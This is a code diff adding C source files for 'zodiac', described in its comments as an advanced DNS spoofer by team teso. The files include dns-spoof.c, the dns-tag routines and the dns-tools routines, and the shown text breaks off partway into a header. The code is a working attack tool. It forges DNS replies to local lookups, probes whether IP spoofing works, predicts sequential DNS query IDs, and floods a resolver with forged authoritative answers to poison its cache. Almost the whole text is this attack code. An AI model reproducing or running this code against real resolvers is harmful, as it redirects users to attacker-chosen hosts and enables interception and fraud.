int spoof_id_add (spoof_base *base, int type, char *spoof_from,
char *spoof_to, char *spoof_from_domain);
spoof_base *spoof_local_new (char *victim, char *from, char *to,
char *dns, char *dns_ip, int type);
void spoof_destroy (spoof_base *spoof_base);
void spoof_do (spoof_base *base);
pthread_t spoof_do_threaded (spoof_base *base);
#endif

556
dns/zodiac/src/dns-spoof.c Normal file
View file

@ -0,0 +1,556 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* spoofing routines
*/
#include <stdlib.h>
#include <string.h>
#include "common.h"
#include "dns.h"
#include "dns-build.h"
#include "dns-spoof.h"
#include "dns-spoof-int.h"
#include "dns-tools.h"
#include "dnsid.h"
#include "dnsq.h"
#include "network.h"
#include "output.h"
#include "packet.h"
#include "zodiac.h"
extern struct in_addr localip;
/* spoof_local
*
* install a spoof handler that will transparently spoof local requests.
* the calling function has to launch an extra thread to do this in
* background *yeah*.
*
* used spoof_style_local variables:
*
* spoof_victim what local lookupers should be affected
* spoof_type T_A (name to ip) or T_PTR (ip to domain) spoof
* spoof_from ip / host that should be spoofed
* spoof_to wrong resolve for spoof_from
* local_dns nameserver that should be responsible for the domain
* local_dns_ip ip of the responsible nameserver local_dns
*
* return in any case
*/
void
spoof_local (spoof_style_local *cs)
{
int n; /* temporary return value */
int desc; /* filter descriptor */
struct in_addr ip_src, ip_dst; /* ip's (temporary) */
char *query;
/* from any address to the local nameserver
*/
ip_src.s_addr = net_resolve (cs->spoof_victim); /* NULL = any, != NULL, only this client */
ip_dst.s_addr = net_resolve ("*"); /* can be "*" */
if (cs->spoof_type == T_PTR) {
/* convert the ip address to a encoded ptr query within
* the .in-addr.arpa domain :)
*/
query = dns_build_ptr (cs->spoof_from);
} else if (cs->spoof_type == T_A) {
/* domain name is equal to decoded query :)
*/
query = xstrdup (cs->spoof_from);
} else {
return;
}
/* install a virtual dns packet filter
*/
desc = dq_filter_install (
ip_src, /* dns queries from source IP */
ip_dst, /* nameserver or any IP */
0, /* source port, we don't care :) */
53, /* dns port, we care about queries */
0, 0, 0, /* a local spoof, we don't care about the DNS ID's */
query); /* query content (only spoof a name / ip) */
/* installing the handler shouldn't cause any error :-) hopefully
*/
if (desc == -1)
return;
/* wait indefinitly
*/
while (dq_filter_wait (desc, NULL) == 1) {
char *ip_src, *ip_dst;
ip_hdr *ip; /* pointer to ip header */
udp_hdr *udp; /* pointer to udp header */
dns_hdr *dns; /* pointer to dns header */
unsigned char *dns_data; /* pointer to dns data part within packet */
dns_pdata *pd; /* dns data part of the packet */
dq_packet *catch = /* catched packet */
dq_p_get (desc);
char *dns_sld = NULL;
/* if we didn't caught the packet (?), abort
*/
if (catch == NULL) {
m_printf (ms, ms->winproc, "[zod] !ERROR! FILTER TRIGGERED, BUT NO PACKET\n");
goto sp_local_fail;
}
m_printf (ms, ms->winproc, "[zod] SPOOF LOCAL GOT PACKET\n");
/* axe the packet, *yeah*
*/
pq_offset (catch->packet, &ip, &udp, &dns, &dns_data);
/* get spoofed nameserver domain, depending on spoof type =)
*/
if (cs->spoof_type == T_A)
dns_sld = dns_domain (cs->spoof_from);
else if (cs->spoof_type == T_PTR)
dns_sld = dns_domain (cs->spoof_to);
pd = dns_build_new ();
dns_build_q (pd, cs->spoof_from, cs->spoof_type, C_IN);
dns_build_rr (pd, cs->spoof_from, cs->spoof_type, C_IN, 86400, cs->spoof_to);
dns_build_rr (pd, dns_sld, T_NS, C_IN, 86400, cs->local_dns);
dns_build_rr (pd, cs->local_dns, T_A, C_IN, 86400, cs->local_dns_ip);
/* fire the packet, yeah :)
* flip source/destination ip/port, while doing it :)
*/
net_printipa (&ip->ip_dst, &ip_src);
net_printipa (&ip->ip_src, &ip_dst);
n = dns_packet_send (ip_src, ip_dst,
htons (udp->uh_dport), htons (udp->uh_sport), htons (dns->id),
DF_RESPONSE | DF_AA | DF_RD | DF_RA, 1, 1, 1, 1, pd, 1);
free (ip_src);
free (ip_dst);
/* destroy created and catched packets
*/
dns_build_destroy (pd);
dq_p_free (catch);
}
sp_local_fail:
free (query);
dq_filter_uninstall (desc);
/* someone ripped us off, let's do him a favor ;-)
*/
return;
}
/* spoof_ip_check
*
* check whether ip spoofing is possible using the current network.
* to do this it queries the `ns' nameserver for a host within `ourdomain'.
* if we see this ip-spoofed packet the spoof succeeded.
*
* return 1 if we are capable of spoofing
* return 0 if we are not *doh* !
* return -1 if not even unspoofed packets get through
*/
int
spoof_ip_check (char *ns, char *ourdomain)
{
char *rnd_aa_host;
dns_pdata *qpacket;
struct in_addr s_addr,
d_addr;
int desc,
n = 0,
test_unspoofed = 0,
test_spoofed = 0;
char *ip_random,
*ip_local;
struct timeval tval;
tval.tv_sec = 25;
tval.tv_usec = 0;
qpacket = dns_build_new ();
rnd_aa_host = dns_build_random (ourdomain, 0);
m_printf (ms, ms->winproc, "[zod] (unspoofed) A? \"%s\" @ %s\n", rnd_aa_host, ns);
dns_build_q (qpacket, rnd_aa_host, T_A, C_IN);
s_addr.s_addr = d_addr.s_addr = net_resolve ("*");
/* some nameservers will query from different ports then 53, so we
* leave the source port of the filter to zero, but we are not going
* to catch our own packets because of own-packets-marking :)
*/
desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host);
free (rnd_aa_host);
/* first send an unspoofed packet
*/
ip_local = net_getlocalip ();
dns_packet_send (ip_local, ns, m_random (1024, 50000),
53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0);
free (ip_local);
test_unspoofed = dq_filter_wait (desc, &tval);
/* not even unspoofed dns packets work !
*/
if (test_unspoofed == 0) {
n = -1;
goto sic_err;
}
dq_filter_uninstall (desc);
dns_build_destroy (qpacket);
qpacket = dns_build_new ();
rnd_aa_host = dns_build_random (ourdomain, 0);
m_printf (ms, ms->winproc, "[zod] (spoofed) A? \"%s\" @ %s\n", rnd_aa_host, ns);
dns_build_q (qpacket, rnd_aa_host, T_A, C_IN);
desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host);
free (rnd_aa_host);
/* now try with a spoofed one
*/
ip_random = ip_get_random ();
dns_packet_send (ip_random, ns, m_random (1024, 50000),
53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0);
free (ip_random);
test_spoofed = dq_filter_wait (desc, &tval);
if (test_spoofed != 0)
n = 1; /* fear the spewfer */
sic_err:
dns_build_destroy (qpacket);
dq_filter_uninstall (desc);
return (n);
}
/* spoof_query
*
* ask a nameserver `nameserver' for a random host inside our domain
* `ourdomain'. wait for a question to our local ip from this nameserver
* for a maximum duration of `timeout' seconds.
* Returns the address of the querying nameserver to the address pointed
* to by proxy. -smiler 990925.
*
* return 1 if the nameserver responded
* return 0 if it didn't
*/
int
spoof_query (char *nameserver, char *ourdomain, int timeout, struct in_addr *proxy)
{
int desc;
int n = 0;
dns_pdata *qpacket; /* query packet data */
char *rnd_aa_host; /* random authoritative domain */
char *local_ip;
struct in_addr s_addr,
d_addr;
struct timeval tv;
struct timeval *tval = &tv;
local_ip = net_getlocalip ();
qpacket = dns_build_new ();
rnd_aa_host = dns_build_random (ourdomain, 0);
m_printf (ms, ms->winproc, "[zod] A? \"%s\" @ %s\n", rnd_aa_host, nameserver);
dns_build_q (qpacket, rnd_aa_host, T_A, C_IN);
s_addr.s_addr = net_resolve (/*nameserver*/ "*");
d_addr.s_addr = net_resolve (local_ip);
desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host);
free (rnd_aa_host);
dns_packet_send (local_ip, nameserver, m_random (1024, 50000),
53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, qpacket, 0);
dns_build_destroy (qpacket);
free (local_ip);
if (timeout == 0) {
tval = NULL;
} else {
tv.tv_usec = 0;
tv.tv_sec = timeout;
}
n = dq_filter_wait (desc, tval);
if (n != 0) {
dq_packet *catch;
catch = dq_p_get(desc);
if (!catch) {
m_printf(ms, ms->winproc, "[zod] filter error!\n");
return 0;
}
proxy->s_addr = ((ip_hdr *)catch->packet)->ip_src.s_addr;
}
dq_filter_uninstall (desc);
return (n);
}
/* spoof_jizz
*
* launch a jizz spoof according to the information in the configset `cs'.
* the caller function should create a new thread and fire this function in
* background
*
* expect:
*
* cs->
* nameserver nameserver to jield cache up
* local_domain domain name, the local dns is authoritative for
* local_dns_ip ip of the nameserver the query will be directed to
* spoof_from domain name to do a A/PTR spoof on
* spoof_to ip to do a PTR/A spoof on
*
* return in any case :)
*/
void
spoof_jizz (spoof_style_jizz *cs)
{
u_short src_prt = m_random (1024, 65535);
u_short dns_id = m_random (1, 65535);
int desc;
struct in_addr s_addr,
d_addr;
dns_pdata *qpacket; /* query packet data */
dns_pdata *apacket; /* answer packet data */
char *rnd_aa_host; /* random authoritative domain */
char local_ip[20];
net_printip (&localip, local_ip, sizeof(local_ip) - 1);
/* first construct a query packet
*/
qpacket = dns_build_new ();
rnd_aa_host = strdup (cs->local_domain);
/* rnd_aa_host = dns_build_random (cs->local_domain); */
dns_build_q (qpacket, rnd_aa_host, T_SOA, C_IN);
/* also construct an answer packet (to save time)
*/
apacket = dns_build_new ();
dns_build_q (apacket, rnd_aa_host, T_SOA, C_IN);
dns_build_rr (apacket, rnd_aa_host, T_A, C_IN, 120, local_ip);
dns_build_rr (apacket, cs->spoof_from, T_A, C_IN, 120, cs->spoof_to);
dns_build_rr (apacket, dns_domain (cs->local_domain), T_A, C_IN, 120,
local_ip);
dns_build_rr (apacket, dns_domain (cs->local_domain), T_NS, C_IN, 120,
dns_domain (cs->local_domain));
dns_build_rr (apacket, cs->spoof_to, T_PTR, C_IN, 120,
cs->spoof_from);
/* install a packet filter
*/
s_addr.s_addr = net_resolve ("*");
d_addr.s_addr = net_resolve (local_ip);
desc = dq_filter_install (s_addr, d_addr, 0, 53, 0, 0, 0, rnd_aa_host);
free (rnd_aa_host);
free (local_ip);
if (desc == -1)
return;
/* launch query packet, then destroy it :)
* spoof here if you want to, i don't want =)
*/
dns_packet_send (local_ip, cs->nameserver, src_prt, 53, dns_id, 0, 1, 0, 0, 0, qpacket, 0);
dns_build_destroy (qpacket);
/* wait for the packet
*/
if (dq_filter_wait (desc, NULL) == 1) {
char *ip_src, *ip_dst;
ip_hdr *ip; /* pointer to ip header */
udp_hdr *udp; /* pointer to udp header */
dns_hdr *dns; /* pointer to dns header */
unsigned char *dns_data; /* pointer to dns data part within packet */
dq_packet *catch = /* catched packet */
dq_p_get (desc);
if (catch == NULL) {
m_printf (ms, ms->winproc, "[zod] !ERROR! FILTER TRIGGERED, BUT NO PACKET\n");
goto sp_local_fail;
}
pq_offset (catch->packet, &ip, &udp, &dns, &dns_data);
net_printipa (&ip->ip_dst, &ip_src);
net_printipa (&ip->ip_src, &ip_dst);
/* launch answer packet
*/
dns_packet_send (ip_src, ip_dst, htons (udp->uh_dport), htons (udp->uh_sport),
htons (dns->id), DF_RESPONSE | DF_AA | DF_RD | DF_RA,
1, 3, 1, 1, apacket, 1);
free (ip_src);
free (ip_dst);
dq_p_free (catch);
}
/* uninstall packet filter
* hope, we spoofed, yeah :-)
*/
sp_local_fail:
dns_build_destroy (apacket);
}
void
spoof_dnsid (spoof_style_id *cs)
{
struct in_addr *auth_ns[SPOOF_ID_MAX],
proxy;
char proxy_str[20];
spoof_id_list *link;
int i = 0,
tries = 0,
cnt = 0;
int dns_id;
struct timeval tv;
unsigned long int flags;
if (cs->id_cnt > SPOOF_ID_MAX) /* shouldn't happen */
return;
for (link = cs->root; link; link = link->next, i++) {
int err;
auth_ns[i] = dt_ns_get_auth (cs->nameserver,
link->spoof_from_domain, &err);
if (auth_ns[i] == NULL) {
m_printf (ms, ms->winproc, "[zod] couldn't get list of authority for %s: %s\n",
cs->nameserver, dterrlist[err]);
return;
}
}
m_printf (ms, ms->winproc, "[zod] trying to get my hands on the dns id\n");
while ((cnt < 3) && (tries < 5)) {
if (spoof_query (cs->nameserver, cs->local_domain, 10, &proxy))
cnt++;
tries++;
}
net_printip (&proxy, proxy_str, sizeof (proxy_str) - 1);
dns_id = id_get (proxy_str, &tv, &flags);
if (dns_id == 0) {
m_printf (ms, ms->winproc, "[zod] welp, i didn't manage to get the magic id :(\n");
return;
} else if ((flags & IDF_SEQ) != IDF_SEQ) {
m_printf (ms, ms->winproc, "[zod] nameserver responded, but has nonsequential id's :((\n");
return;
}
m_printf (ms, ms->winproc, "[zod] received responses from: %s\n", proxy_str);
m_printf (ms, ms->winproc, "[zod] sequential id: %hu [age: %d]\n", dns_id, tv.tv_sec);
/* poison the cache */
m_printf (ms, ms->winproc, "[zod] poisoning... phear\n");
i = 0;
/* we start with the dns_id here, but in case it is a windows
* nameserver we don't go through the mess, we just send
* dns id's of 0 to 20 out, which will most likely be ok. -sc
*/
if ((flags & IDF_WINDUMB) == IDF_WINDUMB) {
dns_id = 0;
m_printf (ms, ms->winproc, "[zod] remote is windows, trying id 0 to 20\n");
}
for (link = cs->root ; link != NULL ; link = link->next, i++) {
spoof_poison (cs->nameserver, proxy, auth_ns[i], dns_id + i,
link->spoof_from, link->spoof_to, link->spoof_type);
}
return;
}
/* spoof_poison
*
* try to poison the cache of 'victim'
* send a spoofed request to victim, and /quickly/ send responses
* from *all* ipz in the array '*auth_ns' with ids close to 'victim_id'
* to 'proxy'
*
* Note: if itz already cached, then it wont work!
*
* -smiler
*/
void
spoof_poison (char *victim, struct in_addr proxy, struct in_addr *auth_ns,
int dns_id, char *spoof_from, char *spoof_to, int type)
{
dns_pdata *spoof_query,
*fake_reply;
char proxy_str[20],
localip_str[20],
ns_str[20];
int i,
j, k;
if (type != T_A && type != T_PTR && type != T_NS)
return;
net_printip (&proxy, proxy_str, sizeof (proxy_str) - 1);
net_printip (&localip, localip_str, sizeof (localip_str) - 1);
spoof_query = dns_build_new ();
fake_reply = dns_build_new ();
dns_build_q (spoof_query, spoof_from, type, C_IN);
dns_build_q (fake_reply, spoof_from, type, C_IN);
dns_build_rr (fake_reply, spoof_from, type, C_IN, 100000, spoof_to);
for (k = 0; k < 2; k++)
dns_packet_send (localip_str, victim, m_random (1024, 50000),
53, m_random (1, 65535), DF_RD, 1, 0, 0, 0, spoof_query, 0);
for (k = 0; k < 2; k++)
for (i = dns_id + 1; i < (dns_id + 20); ++i) {
for (j = 0; auth_ns[j].s_addr != INADDR_ANY; ++j) {
net_printip (&auth_ns[j], ns_str, sizeof (ns_str) - 1);
dns_packet_send (ns_str, proxy_str, 53, 53, i,
DF_RESPONSE | DF_AA, 1, 1, 0, 0, fake_reply, 0);
}
}
dns_build_destroy (fake_reply);
dns_build_destroy (spoof_query);
return;
}

View file

@ -0,0 +1,23 @@
/* zodiac - advanced dns spoofer
*
* spoofing routines include file
*
* by scut / teso
*/
#ifndef Z_DNS_SPOOF_H
#define Z_DNS_SPOOF
#include <arpa/inet.h>
#include "dns-spoof-int.h"
int spoof_ip_check (char *ns, char *ourdomain);
int spoof_query (char *nameserver, char *ourdomain, int timeout, struct in_addr *proxy);
void spoof_local (spoof_style_local *cs);
void spoof_jizz (spoof_style_jizz *cs);
void spoof_dnsid (spoof_style_id *cs);
void spoof_poison (char *ns, struct in_addr proxy, struct in_addr *auth_ns,
int dns_id, char *spoof_from, char *spoof_to, int type);
#endif

139
dns/zodiac/src/dns-tag.c Normal file
View file

@ -0,0 +1,139 @@
/* zodiac - advanced dns spoofer
*
* by team teso
*
* dns tag routines
*/
#define _Z_DNS_TAG_C_MAIN
#include <sys/time.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdlib.h>
#include <unistd.h>
#include "common.h"
#include "dns-tag.h"
#include "network.h"
/* dns tag linked list root pointer
*/
dns_tag *dns_tag_root = NULL;
pthread_mutex_t dns_tag_mutex = PTHREAD_MUTEX_INITIALIZER;
unsigned long int dns_tag_time_expire = 5; /* keep 5 seconds */
int dns_print_own_packets = 1;
void
dns_tag_add (char *ip_src, char *ip_dst, unsigned short int prt_src,
unsigned short int prt_dst, unsigned short int dns_id)
{
dns_tag *this;
dns_tag *new = xcalloc (1, sizeof (dns_tag));
new->ip_src.s_addr = net_resolve (ip_src);
new->ip_dst.s_addr = net_resolve (ip_dst);
new->prt_src = prt_src;
new->prt_dst = prt_dst;
new->dns_id = dns_id;
new->next = NULL; /* last element */
gettimeofday (&new->time_send, NULL);
pthread_mutex_lock (&dns_tag_mutex);
if (dns_tag_root == NULL) {
dns_tag_root = new;
} else {
for (this = dns_tag_root ; this->next != NULL ;
this = this->next)
;
this->next = new;
}
pthread_mutex_unlock (&dns_tag_mutex);
return;
}
int
dns_tag_check_a (char *ip_src, char *ip_dst, unsigned short int prt_src,
unsigned short int prt_dst, unsigned short int dns_id)
{
struct in_addr ip_src_n,
ip_dst_n;
ip_src_n.s_addr = net_resolve (ip_src);
ip_dst_n.s_addr = net_resolve (ip_dst);
return (dns_tag_check_n (&ip_src_n, &ip_dst_n, prt_src, prt_dst, dns_id));
}
/* quite optimized
*/
int
dns_tag_check_n (struct in_addr *ip_src, struct in_addr *ip_dst,
unsigned short int prt_src, unsigned short int prt_dst,
unsigned short int dns_id)
{
int found = 0; /* found flag, flagged inside loop */
dns_tag *this, **last; /* linked list step pointer */
struct in_addr any;
struct timeval tv_current; /* check expired frames oh yeah */
any.s_addr = net_resolve ("*");
gettimeofday (&tv_current, NULL);
pthread_mutex_lock (&dns_tag_mutex);
last = &dns_tag_root;
for (this = dns_tag_root ; found == 0 && this != NULL ; )
{
found = 1; /* assume "yes", then squash it */
/* check whether the frame has expired
*/
if (tdiff (&this->time_send, &tv_current) >= dns_tag_time_expire) {
dns_tag *old = this;
*last = this->next;
this = this->next;
free (old); /* fear the heap :> */
found = 0;
continue;
} else {
last = &this->next;
}
if (found == 1 && ip_src->s_addr != any.s_addr &&
ip_src->s_addr != this->ip_src.s_addr)
{
found = 0;
}
if (found == 1 && ip_dst->s_addr != any.s_addr &&
ip_dst->s_addr != this->ip_dst.s_addr)
{
found = 0;
}
if (found == 1 && prt_src != 0 && prt_src != this->prt_src)
found = 0;
if (found == 1 && prt_dst != 0 && prt_dst != this->prt_dst)
found = 0;
if (found == 1 && dns_id != 0 && dns_id != this->dns_id)
found = 0;
this = this->next;
}
pthread_mutex_unlock (&dns_tag_mutex);
return (found);
}

78
dns/zodiac/src/dns-tag.h Normal file
View file

@ -0,0 +1,78 @@
/* zodiac - advanced dns spoofer
*
* by team teso
*
* dns tag routines include file
*/
#ifndef _Z_DNS_TAG_H
#define _Z_DNS_TAG_H
#include <netinet/in.h>
#ifndef _Z_DNS_TAG_C_MAIN
extern int dns_print_own_packets;
#endif
/* dns tag linked list element
*/
typedef struct dns_tag {
struct dns_tag *next; /* linked list pointer */
struct in_addr ip_src; /* source ip */
struct in_addr ip_dst; /* destination ip */
unsigned short int prt_src; /* udp source port */
unsigned short int prt_dst; /* udp destination port */
unsigned short int dns_id; /* dns id of the frame */
struct timeval time_send; /* time the frame was send */
} dns_tag;
/* dns_tag_add
*
* create a new linked list element with the given properties
*
* return in any case
*/
void
dns_tag_add (char *ip_src, char *ip_dst, unsigned short int prt_src,
unsigned short int prt_dst, unsigned short int dns_id);
/* dns_tag_check_a
*
* check whether the packet frame is in the queue. `ip_*' can be `*' if no
* address checking should be performed. `prt_*' and `dns_id' can be zero if
* no comparison on them should be performed.
*
* return 1 if it is
* return 0 if it is not
*/
int
dns_tag_check_a (char *ip_src, char *ip_dst, unsigned short int prt_src,
unsigned short int prt_dst, unsigned short int dns_id);
/* dns_tag_check_n
*
* check whether the packet frame is in the queue. `ip_*' can be INADDR_ANY
* if no address checking should be performed. `prt_*' and `dns_id' can be
* zero if no comparison on them should be performed.
*
* return 1 if the packet frame was found
* return 0 if the packet frame was not found
*/
int
dns_tag_check_n (struct in_addr *ip_src, struct in_addr *ip_dst,
unsigned short int prt_src, unsigned short int prt_dst,
unsigned short int dns_id);
#endif

501
dns/zodiac/src/dns-tools.c Normal file
View file

@ -0,0 +1,501 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso
*
* dns tool routines
*/
#include <sys/time.h>
#include <unistd.h>
#include <stdlib.h>
#include <libnet.h>
#include "common.h"
#include "dns.h"
#include "dns-tools.h"
#include "dnsq.h"
#include "dns-build.h"
#include "dns-spoof.h"
#include "dnsq.h"
#include "network.h"
#include "output.h"
#include "packet.h"
#include "zodiac.h"
#define DT_SECT_AN 0x1
#define DT_SECT_NS 0x2
#define DT_SECT_AR 0x3
/* keep local functions private
*/
static void dt_process_pkt (dt_answer *ans, dq_packet *pkt, u_short type);
static dt_section *dt_choose_sect(dt_answer *ans, int sect);
static void dt_answer_add_A (dt_answer *ans, char *name, struct in_addr ip,
u_short type, int sect);
static void dt_answer_add_normal (dt_answer *ans, char *name, char *label,
u_short type, int sect);
static rrec *dt_search_sect (dt_section *sect, u_short type, char *name);
/* Access with DT_ANSWER_* defines.
*/
char *dterrlist[] = { "Success",
"Response Timed Out",
"Nameserver returned error",
"Error resolving nameserver",
"Unknown type",
"Filter error"};
/* dt_ns_get_auth
*
* retrieve a list of authority for a domain, from a particular nameserver
*
* return an allocated, null-terminated array of 'struct in_addr' on
* success
* return NULL on reror
* put error in 'int *err' if err != NULL
*/
struct in_addr *
dt_ns_get_auth (char *ns_query, char *domain, int *err)
{
struct in_addr *ns = NULL;
int ns_cnt = 0,
i;
dt_answer *ans;
dt_section *sect;
if (err) *err = DT_ANSWER_OK;
ans = dt_query_bind (ns_query, T_NS, C_IN, domain);
if (ans->answer != DT_ANSWER_OK) {
if (err != NULL) *err = ans->answer;
dt_answer_free (ans);
return NULL;
}
sect = &ans->an_section;
for (i = 0; i < sect->rrec_cnt; i++) {
rrec *rrec_ptr,
*ptr;
struct in_addr tmp;
rrec_ptr = &sect->rrecords[i];
if (rrec_ptr->type != T_NS)
continue;
/* try and find the relevant A record in the ar section */
ptr = dt_search_sect (&ans->ar_section,
T_A, rrec_ptr->data.label);
if (ptr == NULL) {
/* this iz kinda ugly */
tmp.s_addr = net_resolve (rrec_ptr->data.label);
if (tmp.s_addr == htonl(INADDR_ANY)) /* hmm */
continue;
} else {
tmp.s_addr = ptr->data.ip.s_addr;
}
++ns_cnt;
ns = (struct in_addr *)
xrealloc (ns, sizeof(struct in_addr) * ns_cnt);
ns[ns_cnt - 1].s_addr = tmp.s_addr;
}
dt_answer_free (ans);
if (ns_cnt == 0)
return (NULL);
/* null terminate it */
ns = (struct in_addr *)
xrealloc (ns, sizeof(struct in_addr) * ++ns_cnt);
ns[ns_cnt - 1].s_addr = 0;
return (ns);
}
/*
* Search for a resource record in a particular section.
*
* return a pointer to the relevant resource record on success.
* return NULL on error.
* -smiler
*/
static rrec
*dt_search_sect (dt_section *sect, u_short type, char *name)
{
rrec *record = NULL;
int i;
for (i = 0; i < sect->rrec_cnt; i++) {
if (sect->rrecords[i].type != type)
continue;
if (strcasecmp(name, sect->rrecords[i].name))
continue;
record = &sect->rrecords[i];
break; /* so the function returns */
}
return (record);
}
/* dt_bind_version
*
* try to retrieve a version number from a dns server with the host name
* `host' which is running the bind named.
*
* this would be easily done using a fixed buffer and an udp socket, but
* we want to do it with style, oh yeah =) (in other words i didn't write
* this routines to lever me down to udp sockets again ;)
*
* return an allocated string with the server response
* return an allocated string "unknown" if the version couldn't be retrieved
* return NULL on failure (no response)
*
* changed to use dt_query_bind().... -smiler
*/
char *
dt_bind_version (char *host)
{
dt_answer *ans;
char tmp[256];
ans = dt_query_bind (host, T_TXT, C_CHAOS, "VERSION.BIND.");
if (ans->answer != DT_ANSWER_OK) {
dt_answer_free (ans);
return (NULL);
}
/* copy the label into a temporary buffer, free the answer struct,
* /then/ allocate space for the string. hopefully this will avoid
* fragmentation in the heap space...
*/
tmp[255] = 0;
strncpy (tmp, ans->an_section.rrecords[0].data.label, sizeof (tmp) - 1);
dt_answer_free (ans);
return (xstrdup (tmp));
}
/* dt_query_bind
*
* generic query function. query a remote nameserver `serv' for a query
* `query' of the type `type' and class `class'.
*
* return a pointer to a generic answer structure
* on failure ans->answer will be set appropiatly
*
* -smiler
*/
dt_answer *
dt_query_bind (char *serv, u_short type, u_short class, char *query)
{
extern struct in_addr localip;
char tmp[20],
localip_str[20];
dns_pdata *packet;
dq_packet *catch;
int desc,
cnt;
u_short sport,
dns_id;
struct in_addr servaddr;
struct timeval tv;
dt_answer *ans = xcalloc (1, sizeof (dt_answer));
switch (type) {
case T_A:
case T_PTR:
case T_NS:
case T_TXT:
break;
default:
ans->answer = DT_ANSWER_UNKNOWNTYPE;
return (ans);
}
servaddr.s_addr = net_resolve (serv);
if (servaddr.s_addr == htonl (INADDR_ANY)) {
ans->answer = DT_ANSWER_RESOLVE;
return (ans);
}
sport = (libnet_get_prand (PRu16) % (65534 - 1024)) + 1025;
dns_id = libnet_get_prand (PRu16);
desc = dq_filter_install (
servaddr,
localip,
53,
sport,
1, dns_id, dns_id,
NULL);
if (desc == -1) {
ans->answer = DT_ANSWER_FILTERERR;
return (ans);
}
packet = dns_build_new ();
dns_build_q (packet, query, type, class);
net_printip (&servaddr, tmp, sizeof(tmp) - 1);
net_printip (&localip, localip_str, sizeof(localip_str) - 1);
dns_packet_send (localip_str, tmp, sport, 53,
dns_id, DF_RD, 1, 0, 0, 0, packet, 0);
dns_build_destroy (packet);
tv.tv_sec = 10;
tv.tv_usec = 0;
cnt = dq_filter_wait (desc, &tv);
if (cnt == 0) {
dq_filter_uninstall (desc);
ans->answer = DT_ANSWER_TIMEOUT;
return (ans);
}
catch = dq_p_get (desc);
dq_filter_uninstall (desc);
if (catch == NULL) {
ans->answer = DT_ANSWER_FILTERERR;
return (ans);
}
/* jump into helper function now :/ */
dt_process_pkt (ans, catch, type);
dq_p_free (catch);
return (ans);
}
/* dt_process_pkt
*
* helper function, parse the packet (a well known childrens party game).
*
* return in any case
*
* -smiler
*/
static void
dt_process_pkt (dt_answer *ans, dq_packet *pkt, u_short type)
{
u_short qdcount,
ancount,
nscount,
arcount;
int i,
sect;
unsigned char *ptr,
*dns_start;
ptr = pkt->packet;
ptr += (((ip_hdr *) ptr)->ip_hl) << 2;
ptr += UDP_H;
dns_start = ptr;
qdcount = ntohs (((HEADER *)ptr)->qdcount);
ancount = ntohs (((HEADER *)ptr)->ancount);
nscount = ntohs (((HEADER *)ptr)->nscount);
arcount = ntohs (((HEADER *)ptr)->arcount);
if (ancount == 0) {
ans->answer = DT_ANSWER_ERR;
return;
}
/* this should initialize the sections */
memset (&ans->an_section, '\0', sizeof (dt_section));
memset (&ans->ns_section, '\0', sizeof (dt_section));
memset (&ans->ar_section, '\0', sizeof (dt_section));
ptr += sizeof (HEADER);
/* skip question section */
while (qdcount-- > 0) {
ptr += dns_labellen (ptr);
ptr += 4;
}
sect = DT_SECT_AN;
for (i = 0; i < (ancount + nscount + arcount); i++) {
struct in_addr tmp;
u_short rdlength;
char label[256],
label2[256];
*label = *label2 = '\0';
if (i == ancount) {
sect++;
} else if (i == (ancount + nscount)) {
sect++;
}
dns_dcd_label (dns_start, &ptr, label, sizeof (label) - 1, 5);
GETSHORT (type, ptr);
ptr += 6;
GETSHORT (rdlength, ptr);
switch (type) {
case T_A:
tmp.s_addr = *(u_int32_t *) ptr;
dt_answer_add_A (ans, label, tmp, type, sect);
ptr += 4;
break;
case T_NS:
case T_PTR:
case T_TXT: /* RFC1035 SUCKS ASS! */
dns_dcd_label (dns_start, &ptr, label2, sizeof (label2) - 1, 5);
dt_answer_add_normal (ans, label, label2, type, sect);
break;
default:
break;
}
}
return;
}
static dt_section *
dt_choose_sect (dt_answer *ans, int sect)
{
dt_section *dt_sect = NULL;
switch (sect) {
case DT_SECT_AN:
dt_sect = &ans->an_section;
break;
case DT_SECT_NS:
dt_sect = &ans->ns_section;
break;
case DT_SECT_AR:
dt_sect = &ans->ar_section;
break;
}
return (dt_sect);
}
static void
dt_answer_add_A (dt_answer *ans, char *name, struct in_addr ip, u_short type, int sect)
{
int cnt;
rrec *ptr;
dt_section *dt_sect;
dt_sect = dt_choose_sect (ans, sect);
cnt = ++(dt_sect->rrec_cnt);
ptr = dt_sect->rrecords;
ptr = (rrec *) xrealloc (ptr, sizeof (rrec) * cnt);
ptr[cnt - 1].type = type;
ptr[cnt - 1].name = xstrdup (name);
ptr[cnt - 1].data.ip.s_addr = ip.s_addr;
dt_sect->rrecords = ptr;
return;
}
static void
dt_section_free (dt_section *dt_sect)
{
int i;
for (i = 0; i < dt_sect->rrec_cnt; ++i) {
rrec *ptr = &dt_sect->rrecords[i];
free(ptr->name);
switch (ptr->type) {
case T_A:
break;
case T_PTR:
case T_NS:
case T_TXT:
free (ptr->data.label);
break;
default:
break;
}
}
free (dt_sect->rrecords);
return;
}
/* dt_answer_free
*
* free a generic answer structure.
*
* return 0 on error
* return 1 on success
*/
int
dt_answer_free (dt_answer *ans)
{
if (ans == NULL)
return (0);
dt_section_free (&ans->an_section);
dt_section_free (&ans->ns_section);
dt_section_free (&ans->ar_section);
free(ans);
return (1);
}
static void
dt_answer_add_normal (dt_answer *ans, char *name, char *label, u_short type, int sect)
{
int cnt;
rrec *ptr;
dt_section *dt_sect;
dt_sect = dt_choose_sect (ans, sect);
cnt = ++(dt_sect->rrec_cnt);
ptr = dt_sect->rrecords;
ptr = (rrec *) xrealloc (ptr, sizeof (rrec) * cnt);
ptr[cnt - 1].type = type;
ptr[cnt - 1].name = xstrdup (name);
ptr[cnt - 1].data.label = xstrdup (label);
dt_sect->rrecords = ptr;
return;
}

View file

@ -0,0 +1,85 @@
/* zodiac - advanced dns spoofer
*
* by scut / teso, smiler
*
* dns tool routines include file
*/
#ifndef Z_DNSTOOLS_H
#define Z_DNSTOOLS_H
#define DT_ANSWER_OK 0x0
#define DT_ANSWER_TIMEOUT 0x1 /* no answer ! */
